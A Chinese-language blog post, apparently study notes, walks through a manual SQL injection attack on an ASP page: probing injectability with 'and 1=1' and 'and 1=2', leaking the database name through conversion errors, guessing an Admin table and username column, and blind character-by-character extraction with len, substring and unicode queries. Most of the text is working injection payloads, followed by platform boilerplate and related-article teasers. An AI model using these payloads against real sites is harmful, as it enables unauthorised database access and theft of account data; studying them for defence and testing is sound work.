SQL查询学习记录

判断能否进行SQL注入 :

http://www.mytest.com/showdetail.asp?id=49
http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
http://www.mytest.com/showdetail.asp?id=49 ;and 1=2
可以注入
① ② 正常,③ 报错
不可以注入
① 正常,② ③ 报错

数据库名称

http://www.mytest.com/showdetail.asp?id=49 ;and user>0
char和int比较报错为:
将char值 ”abc” 转换数据类型为 int 的列时发生语法错误。
这样就可以通过报错获得数据库名“abc”啦~

猜表名

ID=49 And (Select Count(*) from Admin)>=0
如果页面就与ID=49的相同,说明附加条件成立,即表Admin存在,反之,即不存在(请牢记这种方法)。如此循环,直至猜到表名为止。
表名Admin

猜字段

将Count(*)替换成Count(字段名),用同样的原理猜解字段名
字段名username

猜字段的值(Ascii逐字解码法)

1.测试长度
http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0
其中top语句用来返回要规定记录的数目。
如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>7成立,>8不成立,就是len(username)=8

2 测试每个字符值
id=49 and (select top 1 unicode(substring(username,1,1)) from Admin)>0
同样也是用逐步缩小范围的方法得到第1位字符的ASCII码,注意的是英文和数字的ASCII码在1-128之间,可以用折半法加速猜解,如果写成程序测试,效率会有极大的提高。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • SQL注入漏洞全接触--入门篇 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于...
    西边人阅读 3,964评论 0 0
  • 注入攻击的分类 1.没有正确过滤转义字符 在用户的输入没有为转义字符过滤时,就会发生这种形式的注入式攻击,它会被传...
    查无此人asdasd阅读 5,674评论 0 5
  • [SQL注入攻击] SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式...
    James黄杰阅读 7,708评论 0 30
  • 引:在开发中经常遇到自己签名的本地服务,在android开发时报错 1.创建工具类HttpsTrustManage...
    小杨哥阅读 9,426评论 0 1
  • 搜索引擎排名原理 简单来说就是点击率 和转化率高低来决定的,看点击率,通过关键词搜索和网站的匹配程度,以及用户对网...
    加远君阅读 2,224评论 0 0